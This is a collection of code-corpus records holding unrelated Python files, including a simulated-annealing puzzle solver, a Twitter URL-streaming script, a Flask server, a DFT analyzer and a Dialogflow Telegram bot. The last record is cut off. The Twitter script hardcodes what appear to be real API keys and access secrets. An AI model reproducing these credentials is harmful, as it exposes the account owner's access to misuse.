+{"seq_id":"287075359","text":"from __future__ import print_function\nfrom time import sleep\nfrom time import time\nfrom copy import copy\nimport os\nimport sys\nimport math\nsys.path.append('../')\nsys.path.append('../pieces')\n\nfrom random import random\nfrom pieces import ChessPiece\nfrom Board import Board\n\nclass SimulatedAnnealing:\n\tdef __init__(self, request, max_attempt, cooling_rate, temp):\n\t\t\"\"\"This constructs SimulatedAnnealing instance and create Board object.\n\n\t\tParameters\n\t\t----------\n\t\trequest : dictionary\n\t\t\tDictionary of list of piece.\n\n\t\tReturns\n\t\t-------\n\t\tnothing\n\t\t\"\"\"\n\t\tself.__TEMP = temp\n\t\tself.__COOLING_RATE = cooling_rate\n\t\tself.__MAX_ATTEMPTS = max_attempt\n\n\t\tself.__request = request\n\t\tself.__board = Board(request)\n\n\tdef print_immediately(self, attempts, current_heuristic, temp):\n\t\t\"\"\"This method prints Board UI.\n\n\t\tParameters\n\t\t----------\n\t\tattempts : int\n\t\t\tCurrent attempts in t.\n\t\tcurrent_heuristic : int\n\t\t\tCurrent heuristic in t.\n\t\ttemp : int\n\t\t\tCurrent temperature in t.\n\n\t\tReturns\n\t\t-------\n\t\tvoid\n\t\t\tPrints Board UI.\n\t\t\"\"\"\n\t\tprint(\"Attempts\\t\\t= \" + str(attempts))\n\t\tprint(\"Current Heuristic\\t= \" + str(current_heuristic))\n\t\tprint(\"Current Temperature\\t= \" + str(temp), end='\\n\\n')\n\t\tself.__board.draw()\n\t\tsleep(0.025)\n\t\tos.system('clear')\n\n\tdef cooling_down(self, temp):\n\t\t\"\"\"This method returns temp after cooling down.\n\n\t\tParameters\n\t\t----------\n\t\ttemp : int\n\t\t\tCurrent temperature to cool down.\n\n\t\tReturns\n\t\t-------\n\t\tint\n\t\t\treturns colder temperature.\n\n\t\t\"\"\"\n\t\treturn temp * self.__COOLING_RATE\n\n\tdef boltzman_dist(self, e, e1, temp):\n\t\t\"\"\"This method performs boltzman distribution where exp(-(loss/temp)).\n\n\t\tParameters\n\t\t----------\n\t\te1 : int\n\t\t\tNeighbor's heuristic.\n\t\te : int\n\t\t\tCurrent heuristic.\n\t\ttemp : int\n\t\t\tCurrent temperature.\n\n\t\tReturns\n\t\t-------\n\t\tint\n\t\t\tProbability by boltzman.\n\n\t\t\"\"\"\n\t\treturn math.exp((e1 - e) / temp)\n\n\tdef start(self):\n\t\t\"\"\"This method performs simulated annealing algorithm.\n\t\tReturns\n\t\t-------\n\t\tvoid\n\t\t\"\"\"\n\t\tattempts = 1\n\t\tcolors = len(self.__board.get_colors())\n\n\t\tbest = None\n\t\tbest_board = None\n\n\t\tif (colors > 1):\n\t\t\tbest = {'a' : 0, 'b' : -999 ,'total': -999}\n\t\telse:\n\t\t\tbest = {'a' : 999, 'b' : 0, 'total': -999}\n\n\t\t#Calculate current heuristic\n\t\tcurrent_heuristic = self.__board.calculate_heuristic()\n\n\t\t#Start\n\t\tstart = round(time(), 3)\n\n\t\twhile (attempts < self.__MAX_ATTEMPTS):\n\t\t\t#Initialize temperature\n\t\t\ttemp = self.__TEMP\n\t\t\tprint(\"Attempts\\t= \" + str(attempts))\n\n\t\t\t#when temp < 1 -> prob nearly to zero\n\t\t\twhile (temp > 1):\n\t\t\t\t# For the fastest performance, do not update Board UI\n\t\t\t\tself.print_immediately(attempts, current_heuristic, temp)\n\n\t\t\t\t#Call random_pick from board\n\t\t\t\tpiece = self.__board.random_pick()\n\n\t\t\t\t#Store position of piece (temporer)\n\t\t\t\told_position = {'x' : piece.get_x(), 'y' : piece.get_y()}\n\n\t\t\t\t#Random position by call random_move function\n\t\t\t\trand_position = self.__board.random_move()\n\n\t\t\t\t#Replace current position of piece with rand_position\n\t\t\t\tpiece.set_x(rand_position['x'])\n\t\t\t\tpiece.set_y(rand_position['y'])\n\n\t\t\t\t#Calculate heuristic after change to new position\n\t\t\t\theuristic = self.__board.calculate_heuristic()\n\n\t\t\t\tif (current_heuristic['total'] < heuristic['total']):\n\t\t\t\t\t#Absolutely accept the changes, get maximum heuristic\n\t\t\t\t\tcurrent_heuristic = heuristic\n\t\t\t\telse:\n\t\t\t\t\tprobability = self.boltzman_dist(current_heuristic['total'], heuristic['total'], temp)\n\t\t\t\t\tif (random() <= probability):\n\t\t\t\t\t\t#Accept the changes\n\t\t\t\t\t\tcurrent_heuristic = heuristic\n\t\t\t\t\telse:\n\t\t\t\t\t\t#Restore the position of piece, not accept the changes\n\t\t\t\t\t\tpiece.set_x(old_position['x'])\n\t\t\t\t\t\tpiece.set_y(old_position['y'])\n\n\t\t\t\t\ttemp = self.cooling_down(temp)\n\n\t\t\t\tif (current_heuristic['total'] == 0 and colors == 1):\n\t\t\t\t\tfinish = round(time(), 3)\n\t\t\t\t\tos.system('clear')\n\t\t\t\t\tprint(\"Yeay, solution found after\", str(attempts), \"attempt(s)!\")\n\t\t\t\t\tprint(\"Elapsed time = \" + str(finish-start) + \" seconds\\n\")\n\t\t\t\t\tself.__board.draw()\n\t\t\t\t\tprint(\" \", str(current_heuristic['a']), '', str(current_heuristic['b']))\n\t\t\t\t\treturn\n\n\t\t\t#Check if current heuristic is better than current best\n\t\t\tif (best['total'] < current_heuristic['total']):\n\t\t\t\tbest = current_heuristic\n\t\t\t\tbest_board = copy(self.__board)\n\n\t\t\t#Restart by reinitialize the board\n\t\t\tself.__board = Board(self.__request)\n\n\t\t\t#Calculate current heuristic\n\t\t\tcurrent_heuristic = self.__board.calculate_heuristic()\n\n\t\t\t#Increment the attempts\n\t\t\tattempts+=1\n\t\t\tsleep(0.03)\n\t\t\tos.system('clear')\n\n\t\t#Maximum attempts reached\n\t\tfinish = round(time(), 3)\n\n\t\tos.system('clear')\n\n\t\tprint(\"S.A Algorithm approximates global optimum (with \", attempts, \" attempts)\")\n\t\tprint(\"Elapsed time = \" + str(finish - start) + \" seconds\\n\")\n\t\tbest_board.draw()\n\t\tprint(\" \", best['a'] , \" \", best['b'])\n\n\t\treturn\n","sub_path":"algorithm/SimulatedAnnealing.py","file_name":"SimulatedAnnealing.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"347806520","text":"'''\n prerequisites:\n 0. create a twitter account\n 1. obtain your access tokens: https://apps.twitter.com/\n 1.0 create new app\n 2. install tweepy (pip install tweepy)\n\n credit:\n http://docs.tweepy.org/en/v3.4.0/streaming_how_to.html\n http://adilmoujahid.com/posts/2014/07/twitter-analytics/\n https://pythonprogramming.net/twitter-api-streaming-tweets-python-tutorial/\n\n Tweet JSON:, use http://jsonviewer.stack.hu/ to view object\n https://developer.twitter.com/en/docs/tweets/data-dictionary/overview/intro-to-tweet-json\n\n rate limiting:\n https://developer.twitter.com/en/docs/basics/rate-limiting\n\n streaming rate limiting:\n https://developer.twitter.com/en/docs/tweets/filter-realtime/guides/connecting.html\n'''\n\n#Import the necessary methods from tweepy library\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\nimport json\nimport time\nimport requests\n\n#get keys from: https://apps.twitter.com/\n#consumer key, consumer secret, access token, access secret.\nckey = '9D2w3iTfxI4bTzFeOc614d86l'\ncsecret = 'DCOGCqDrahobYeB9oOHD0VYuOL5PH8PnWTXEkbGL9OhZpuc5lQ'\natoken = '955940903658631168-kL0fVS7uk6bn1KCBkbQ3oIZn9v23OGS'\nasecret = 'XbYHSyrVZSLEatrk3IVs23ScEWi2vPu2825g44aOJHARf'\n#\nURIs={}\nclass listener(StreamListener):\n\n def on_data(self, data):\n #learn about tweet json structure: https://developer.twitter.com/en/docs/tweets/data-dictionary/overview/intro-to-tweet-json\n try:\n tweetJson = json.loads(data)\n\n #tweet = tweetJson['text']\n username = tweetJson['user']['screen_name']\n links = tweetJson['entities']['urls']\n except:\n return True\n if( len(links) != 0 and tweetJson['truncated'] == False ):\n links = self.getLinksFromTweet(links)\n\n print( username )\n for l in links:\n try:\n r = requests.head(l, allow_redirects=True, timeout=10)\n if( r.status_code > 199 and r.status_code < 300):\n print(r.history)\n print('\\t', r.url)\n if 'https://twitter' not in r.url:\n URIs[r.url] = r.history\n except:\n return True\n print ()\n print(len(URIs))\n print()\n if len(URIs) > 1000:\n f = open('test','a')\n for key, value in URIs.items():\n f.write(key + '\\n')\n print(key)\n return False\n #time.sleep(5)\n\n return True\n def getLinksFromTweet(self, linksDict):\n links = []\n for uri in linksDict:\n links.append( uri['expanded_url'] )\n\n return links\n\n def on_error(self, status):\n print( status )\n\n if status == 420:\n #returning False in on_data disconnects the stream\n return False\n return True\n\n\nauth = OAuthHandler(ckey, csecret)\nauth.set_access_token(atoken, asecret)\nwhile( len(URIs) < 1000):\n try:\n twitterStream = Stream(auth, listener())\n twitterStream.filter(track=['olympics'])\n except:\n pass\n","sub_path":"A2/twt.py","file_name":"twt.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"51091411","text":"from codebase.core import *\nfrom codebase.util import *\nimport pandas as pd\n\nproject_name = 'Ecoli'\nGSM_name = \"/ijo1366.xml\"\nlpfile_name = \"mingenome_Ecoli.lp\"\n\ndata_dir = \"./data/\" + project_name\nGSM_dir = \"./data/\" + project_name + GSM_name\nsequence_dir = \"./data/\" + project_name + \"/NC_000913.3\"\noffrxn_f = None\n\n### setup input #####\n# util = utility(sequence_dir)\n# util.getAllGenesfromGB()\n# util.get_promoter_end_loc()\n# util.move_start_site_to_back(data_dir)\n# util.exchange_promoter_key_value(data_dir)\n# util.map_genes_between_models(data_dir)\n\n# ### run MinGenome algorithm #####\nmg = MinGenome(GSM_dir)\nmodel = mg.modelCobra(data_dir,offrxn_f)\n\neg_f = \"./data/\" + project_name + \"/essentialGene.txt\"\n# eg_f = \"./data/\" + project_name + \"/essentialGenes_Daniel.txt\"\nparameters_f = \"./data/\" + project_name + \"/genes_and_promoters.xlsx\"\nabundance_f = \"./data/\" + project_name + \"/cumulative_abundance.tab\"\n# reg_f = \"./data/\" + project_name + \"/regulatorGene.txt\"\nreg_f = None\nTU_Json_file=\"./data/\" + project_name + \"/gene_promoter_dict.json\"\nlpfilename=\"./out/\" + lpfile_name\n\nmg.build_abundance_MIP_by_Cobrapy(model, 0.98,\n\t\t eg_f,parameters_f,abundance_f, reg_f,TU_Json_file,lpfilename)\n\n","sub_path":"src/maxabundance_ecoli.py","file_name":"maxabundance_ecoli.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"290807584","text":"\n\nimport logging\nimport json\n\n\n\nfrom lib._flask.flask import (\n Flask, render_template, url_for, \n jsonify, Response, request\n)\n\n\n\n#from src.scorer import Scorer\n#from src.classes import Task\n#from src.generator import TimeSlotGenerator\n\nfrom src.scheduler import Scheduler\n\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return render_template('hello.html')\n\n\n\n@app.route('/get_schedule/')\ndef get_schedule(hours=4):\n \n \n \n hours = int(hours)\n scheduler = Scheduler(int(hours))\n \n \n\n return json.dumps(scheduler.schedule)\n \n\n\n\n\n\nif __name__ == '__main__':\n app.run()\n\n","sub_path":"web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"601446733","text":"# loading packages\nimport time\n\ndef time_function(f, *args):\n\t\"\"\"\n\tCall a function f with args and return the time (in ms) that \n\tit took to execute.\n\t\"\"\"\n\ttic = time.time()\n\tf(*args)\n\ttoc = time.time()\n\n\treturn (toc - tic) * 1000","sub_path":"Sorting/utilities/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"568034667","text":"import math\nfrom scipy.io import wavfile\nimport matplotlib.pyplot as plt\n\ne = math.e\npi = math.pi\n\nAUDIO_FILE = \"./violin.wav\"\n\nclass SpectrumAnalyzer:\n\n def __init__(self):\n self.SAMPLE_RATE = 44100\n plt.style.use('dark_background')\n\n def exp(self, x : float) -> \"Eulers Formula\":\n return math.cos(x) + complex(math.sin(x))\n\n def magnitude(self, real : float, imaginary : complex) -> \"Magnitude of a Vector\":\n return math.sqrt(real ** 2 + imaginary.real ** 2)\n\n def DFT(self, samples : list) -> \"Discrete Fourier Transform\":\n N = len(samples)\n freqBins = []\n\n for i in range(0, int(N/2)):\n Σ = 0\n\n for n in range(0, N):\n Σ += samples[n] * self.exp(-(2 * pi * i * n) / N)\n \n freqBins.append(2 * self.magnitude(Σ.real, Σ.imag) / N)\n\n return freqBins\n\n def graphResults(self):\n samples = self.loadAudioData()\n freqDomain = self.DFT(samples)\n \n fig, ax = plt.subplots(2, sharex=True)\n\n fig.suptitle('Discrete Fourier Transform')\n\n ax[0].plot(samples)\n ax[1].plot(freqDomain)\n\n ax[0].grid(color='#5a5a5a')\n ax[1].grid(color='#5a5a5a')\n\n plt.show()\n\n plt.plot(freqDomain)\n plt.show()\n\n return self.getStrongestFrequency(freqDomain, samples)\n\n def getStrongestFrequency(self, frequency_domain, samples):\n return frequency_domain.index(max(frequency_domain)) / len(samples) * (self.SAMPLE_RATE / 2) \n\n def loadAudioData(self):\n self.SAMPLE_RATE, samples = wavfile.read(AUDIO_FILE)\n samples = samples[100000: 101000] # Get first 500 data points\n\n channel_1 = [channel[0] for channel in samples]\n channel_2 = [channel[1] for channel in samples]\n\n return channel_1\n\nif __name__ == '__main__':\n dft = SpectrumAnalyzer()\n max_freq = dft.graphResults()\n\n print(\"-\" * 50)\n print(f\"Max frequency: {str(max_freq)} Hz\")\n print(\"-\" * 50)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"109264096","text":"file_txt = open(\"file.txt\", \"r\")\n\nlines = file_txt.readlines()\nfile_txt.close()\n\ncounter = len(lines)\n\nfor line in lines:\n\tline = line.replace(\"\\n\", \"\").split(\" \")\n\tfor item in line:\n\t\tif line.count(item) > 1:\n\t\t\tcounter -= 1\n\t\t\tbreak\n\nprint(\"\\nValid skyphrases: \", counter)\n\n\n\n\n\n\n\n#\n# file_txt = open('file.txt', \"r\")\n#\n# lines = file_txt.readlines()\n# file_txt.close()\n#\n#\n# counter = len(lines)\n# which_line = 0\n# for line in lines:\n# \twhich_line += 1\n# \tline = line.replace(\"\\n\", \"\").split(\" \")\n# \t# print(line)\n# \tfor item in line:\n# \t\tif line.count(item)>1:\n# \t\t\tprint (which_line, item )\n# \t\t\t# print(line.count(item))\n# \t\t\tcounter -= 1\n# \t\t\tbreak\n#\n#\n#\n#\n# print('Valid skyphrases: ',counter)","sub_path":"Chapter2_task1.py","file_name":"Chapter2_task1.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"561347527","text":"# https://leetcode.com/problems/search-in-rotated-sorted-array/description/\n\n\nclass Solution:\n def search(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n\n size = len(nums)\n if size == 0: return -1\n\n l, r = 0, size-1\n while l <= r:\n m = (l + r) // 2\n if target == nums[m]: return m\n\n if nums[m] > nums[r]:\n if nums[l] <= target < nums[m]:\n r = m - 1\n else: l = m + 1\n else:\n if nums[m] < target <= nums[r]:\n l = m + 1\n else: r = m - 1\n\n return -1\n","sub_path":"_PYTHON_/_problems_/_LC_/algorithms/search_in_rotated_sorted_array.py","file_name":"search_in_rotated_sorted_array.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"286910046","text":"# Andrew Ingrassia\r\n# HackerRank\r\n# Find a String\r\n\r\n\r\n\"\"\"\r\nTASK:\r\n In this challenge, the user enters a string and a substring. You have to print the number of times that the\r\n substring occurs in the given string. String traversal will take place from left to right, not from right to left.\r\n\r\nNOTE:\r\n String letters are case-sensitive.\r\n\r\nINPUT FORMAT:\r\n a. The first line of input contains the original string.\r\n b. The next line contains the substring.\r\n\r\nCONSTRAINTS:\r\n a. 1 <= len(string) <= 200\r\n b. Each character in the string is an ascii character.\r\n\r\nOUTPUT FORMAT:\r\n Output the integer number indicating the total number of occurrences of the substring in the original string.\r\n\r\nSAMPLE INPUT:\r\n ABCDCDC\r\n CDC\r\n\r\nSAMPLE OUTPUT:\r\n 2\r\n\"\"\"\r\n\r\n\r\ndef count_substring(s, sub_s):\r\n num_occurrences = 0 # initialize sub_s occurrence count to 0\r\n for i in range(len(s)): # for every element in range(0, len(s))...\r\n if s[i:].startswith(sub_s): # traverses string from left to right, looking for occurrences of 'sub_s'\r\n num_occurrences += 1 # each time an occurrence is located, 'num_occurrences' increases by 1\r\n return num_occurrences # returns the final 'num_occurrences' count\r\n\r\n\r\nif __name__ == '__main__':\r\n string = input().strip() # strips 'string' into a list of characters\r\n sub_string = input().strip() # strips 'sub_string' into a list of characters\r\n count = count_substring(string, sub_string) # runs the 'count_substring' function\r\n print(count) # prints the result\r\n","sub_path":"find_a_string.py","file_name":"find_a_string.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"130929972","text":"\n\ndef getWin(price, risk, weScore, theyScore):\n award = (price.price - 1) * risk\n if price.team_id is None:\n if weScore.score == theyScore.score:\n return award\n else:\n return -risk\n elif price.team_id == weScore.team_id:\n scoreDiff = weScore.score - theyScore.score\n elif price.team_id == theyScore.team_id:\n scoreDiff = theyScore.score - weScore.score\n else:\n self.app.log.error('No score found for price. priceId=%s, priceTeamId=%s, weScoreTeamId=%s, theyScoreTeamId=%s' %\n (price.price_id, price.team_id, weScore.team_id, theyScore.team_id))\n return\n handicap = float(price.handicap)\n if handicap == 0:\n return award if scoreDiff > 0 else -risk\n elif handicap % 1 == 0:\n if scoreDiff + handicap == 0:\n return 0\n elif scoreDiff + handicap > 0:\n return award\n else:\n return -risk\n elif handicap % 0.5 == 0:\n return award if scoreDiff + handicap > 0 else -risk\n elif handicap % 0.25 == 0:\n return 0\n #complicated\n pass\n","sub_path":"mind/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"349362654","text":"from random import random, randint\r\nimport math\r\n\r\ndef paso(pos,dim):\r\n d=randint(0,dim-1)\r\n if (random()<0.5):\r\n pos[d] += -1\r\n else:\r\n pos[d] += 1\r\n return pos\r\n\r\n\r\ndef experimento(largo, dim, dimTotal, vectorPasos):\r\n pos = [0] * dim\r\n conteo=0\r\n for t in range(largo):\r\n pos=paso(pos,dim)\r\n conteo+=1\r\n if all([p==0 for p in pos]):\r\n vectorPasos[dimTotal]=conteo\r\n return True\r\n\r\n vectorPasos[dimTotal] = 0\r\n return False\r\n\r\ndim=[]\r\nlargo=[]\r\n\r\ntotal=50\r\nfor i in range(1, 9):\r\n regresos = 0\r\n contador=0\r\n contadorPasos = []\r\n for replica in range(total) :\r\n for larg in range(1,6):\r\n largo.append(larg)\r\n dim.append(i)\r\n contador+=1\r\n contadorPasos.append(contador)\r\n regresos += experimento(pow(2, largo[larg-1]+4), dim[i-1], contador-1, contadorPasos)\r\n print('Probabilidad de regresos: ', regresos / contador, dim[i - 1])\r\n print('Regresos: ', regresos)\r\n print('Dimension: ', i)\r\n print('Vector pasos ', contadorPasos)\r\n print('Minimo: ', min(contadorPasos))\r\n print('Maximo: ', max(contadorPasos))\r\n print('Promedio ', sum( contadorPasos)/len(contadorPasos))\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"browniano.py","file_name":"browniano.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"526277633","text":"# Global Benchmark Database (GBD)\n# Copyright (C) 2020 Markus Iser, Karlsruhe Institute of Technology (KIT)\n# \n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport sys\nimport bz2\nimport gzip\nimport lzma\nimport io\n\n__all__ = ['eprint', 'read_hashes', 'confirm', 'open_cnf_file', 'is_number']\n\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\ndef open_cnf_file(filename, mode):\n \"\"\"\n Opens a CNF file (this is badly guarded, by file-extension only)\n \"\"\"\n obj = None\n if filename.endswith('.cnf.gz'):\n obj = gzip.open(filename, mode)\n elif filename.endswith('.cnf.bz2'):\n obj = bz2.open(filename, mode)\n elif filename.endswith('.cnf.lzma') or filename.endswith('.cnf.xz'):\n obj = lzma.open(filename, mode)\n elif filename.endswith('.cnf'):\n obj = open(filename, mode)\n else:\n raise Exception(\"Unknown File Extension. Use .cnf, .cnf.bz2, .cnf.lzma, .cnf.xz, or .cnf.gz\")\n \n if 'b' in mode:\n return io.BufferedReader(obj, io.DEFAULT_BUFFER_SIZE * 8)\n else:\n return obj\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\ndef read_hashes():\n eprint(\"Reading hashes from stdin ...\")\n hashes = list()\n try:\n while True:\n line = sys.stdin.readline().split()\n if len(line) == 0:\n return hashes\n hashes.extend(line)\n except KeyboardInterrupt:\n return hashes\n return hashes\n\n\ndef confirm(prompt='Confirm', resp=False):\n \"\"\"\n prompts for yes or no response from the user. Returns True for yes and False for no.\n 'resp' should be set to the default value assumed by the caller when user simply types ENTER.\n \"\"\"\n if resp:\n prompt = '%s [%s]|%s: ' % (prompt, 'y', 'n')\n else:\n prompt = '%s [%s]|%s: ' % (prompt, 'n', 'y')\n\n while True:\n ans = input(prompt)\n if not ans:\n return resp\n if ans not in ['y', 'Y', 'n', 'N']:\n print('please enter y or n.')\n continue\n if ans == 'y' or ans == 'Y':\n return True\n if ans == 'n' or ans == 'N':\n return False\n","sub_path":"gbd_tool/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"427946302","text":"import os\nimport logging\n\nimport dialogflow\nfrom google.api_core.exceptions import InvalidArgument\n\nfrom telegram import Bot\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nMONITORING_CHAT_ID = os.getenv('MONITORING_CHAT_ID')\nMONITORING_TOKEN = os.getenv('MONITORING_TOKEN')\nMONITORING_BOT = Bot(token=MONITORING_TOKEN)\n\n\nclass LoggerForTelegram(logging.Handler):\n\n def emit(self, record):\n log_entry = self.format(record)\n MONITORING_BOT.send_message(chat_id=MONITORING_CHAT_ID, text=log_entry)\n\n\nlogger = logging.getLogger(\"logger for telegram\")\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(LoggerForTelegram())\n\nDIALOGFLOW_PROJECT_ID = os.getenv('PROJECT_ID')\nDIALOGFLOW_LANGUAGE_CODE = 'ru-RU'\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = os.getenv('GA-KEY-CLIENT')\n\n\ndef start(bot, update):\n \"\"\"Send a message when the command /start is issued.\"\"\"\n update.message.reply_text('Здравствуйте!')\n\n\ndef answer(bot, update):\n telegram_id = update.update_id\n dialogflow_client = dialogflow.SessionsClient()\n dialogflow__session = dialogflow_client.session_path(DIALOGFLOW_PROJECT_ID, telegram_id)\n\n text_to_be_analyzed = update.message.text\n text_input = dialogflow.types.TextInput(text=text_to_be_analyzed, language_code=DIALOGFLOW_LANGUAGE_CODE)\n\n query_input = dialogflow.types.QueryInput(text=text_input)\n\n try:\n response = dialogflow_client.detect_intent(session=dialogflow__session, query_input=query_input)\n except InvalidArgument as err:\n logger.critical(err)\n raise\n\n update.message.reply_text(response.query_result.fulfillment_text)\n\n\ndef error(bot, update, error):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, error)\n\n\ndef main():\n \"\"\"Start the bot.\"\"\"\n\n logger.info('bot started')\n\n TOKEN = os.getenv(\"TELEGRAM_TOKEN\")\n updater = Updater(TOKEN)\n\n dp = updater.dispatcher\n dp.add_handler(CommandHandler(\"start\", start))\n dp.add_handler(MessageHandler(Filters.text, answer))\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_polling()\n\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"telegram_support_bot.py","file_name":"telegram_support_bot.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"546356060","text":"# logger/urls.py\nfrom django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('daily/', views.dailyUpdate, name='daily'),\n path('weekly/', views.weeklyUpdate, name='weekly'),\n path('success/', views.successView, name='success'),\n]","sub_path":"logger/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"138723416","text":"'''\nCreated on 7 Feb 2015\n\n@author: campbell\n'''\nimport media\nimport fresh_tomatoes \n\n# data - creating instances of class Movie from media.py\ntoy_story3 = media.Movie(\"Toy Story 3\",\n \"2010\",\n \"The toys are mistakenly delivered to a day-care center instead of the attic right before Andy leaves for college, and it's up to Woody to convince the other toys that they weren't abandoned and to return home.\",\n \"Lee Unkrich\",\n \"John Lasseter (story), Andrew Stanton (story)\",\n \"Tom Hanks, Tim Allen, Joan Cusack\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/6/69/Toy_Story_3_poster.jpg/220px-Toy_Story_3_poster.jpg\",\n \"https://www.youtube.com/watch?v=JcpWXaA2qeg\")\nplatoon = media.Movie(\"Platoon\",\n \"1986\",\n \"A young recruit in Vietnam faces a moral crisis when confronted with the horrors of war and the duality of man.\",\n \"Oliver Stone\",\n \"Oliver Stone\",\n \"Charlie Sheen, Tom Berenger, Willem Dafoe\",\n \"https://upload.wikimedia.org/wikipedia/en/a/a9/Platoon_posters_86.jpg\",\n \"https://www.youtube.com/watch?v=AykiF9YYF2U\")\nthe_deer_hunter = media.Movie(\"The Deer Hunter\",\n \"1978\",\n \"An in-depth examination of the ways in which the U.S. Vietnam war impacts and disrupts the lives of people in a small industrial town in Pennsylvania.\",\n \"Michael Cimino\",\n \"Michael Cimino (story), Deric Washburn (story)\",\n \"Robert De Niro, Christopher Walken, John Cazale\",\n \"https://upload.wikimedia.org/wikipedia/en/5/57/The_Deer_Hunter_poster.jpg\",\n \"https://www.youtube.com/watch?v=3Gqit3zVmyc\")\napocalypse_now = media.Movie(\"Apocalypse Now\",\n \"1979\",\n \"During the Vietnam War, Captain Willard is sent on a dangerous mission into Cambodia to assassinate a renegade colonel who has set himself up as a god among a local tribe.\",\n \"Francis Ford Coppola (as Francis Coppola)\",\n \"John Milius, Francis Ford Coppola\",\n \"Martin Sheen, Marlon Brando, Robert Duvall\",\n \"https://upload.wikimedia.org/wikipedia/en/c/c2/Apocalypse_Now_poster.jpg\",\n \"https://www.youtube.com/watch?v=snDR7XsSkB4\")\nfull_metal_jacket = media.Movie(\"Full Metal Jacket\",\n \"1987\",\n \"A pragmatic U.S. Marine observes the dehumanizing effects the U.S.-Vietnam War has on his fellow recruits from their brutal boot camp training to the bloody street fighting in Hue.\",\n \"Stanley Kubrick\",\n \"Gustav Hasford (novel), Stanley Kubrick (screenplay)\",\n \"Matthew Modine, R. Lee Ermey, Vincent D'Onofrio\",\n \"https://upload.wikimedia.org/wikipedia/en/9/99/Full_Metal_Jacket_poster.jpg\",\n \"https://www.youtube.com/watch?v=UuWmCVdwhKg\")\na2001_a_space_odyssey = media.Movie(\"2001: A Space Odyssey\",\n \"1968\",\n \"Humanity finds a mysterious, obviously artificial, object buried beneath the Lunar surface and, with the intelligent computer H.A.L. 9000, sets off on a quest.\",\n \"Stanley Kubrick\",\n \"Stanley Kubrick (screenplay), Arthur C. Clarke (screenplay)\",\n \"Keir Dullea, Gary Lockwood, William Sylvester\",\n \"https://upload.wikimedia.org/wikipedia/en/e/ef/2001_A_Space_Odyssey_Style_B.jpg\",\n \"https://www.youtube.com/watch?v=N6ywMnbef6Y\")\nforrest_gump = media.Movie(\"Forrest Gump\",\n \"1994\",\n \"Forrest Gump, while not intelligent, has accidentally been present at many historic moments, but his true love, Jenny Curran, eludes him.\",\n \"Robert Zemeckis\",\n \"Winston Groom (novel), Eric Roth (screenplay)\",\n \"Tom Hanks, Robin Wright, Gary Sinise\",\n \"http://content7.flixster.com/movie/11/17/36/11173677_det.jpg\",\n \"https://www.youtube.com/watch?v=bLvqoHBptjg\")\navatar = media.Movie(\"Avatar\",\n \"2009\",\n \"A Paraplegic Marine dispatched to the moon Pandora on a unique mission becomes torn between following his orders and protecting the world he feels is his home..\",\n \"James Cameron\",\n \"James Cameron\",\n \"Sam Worthington, Zoe Saldana, 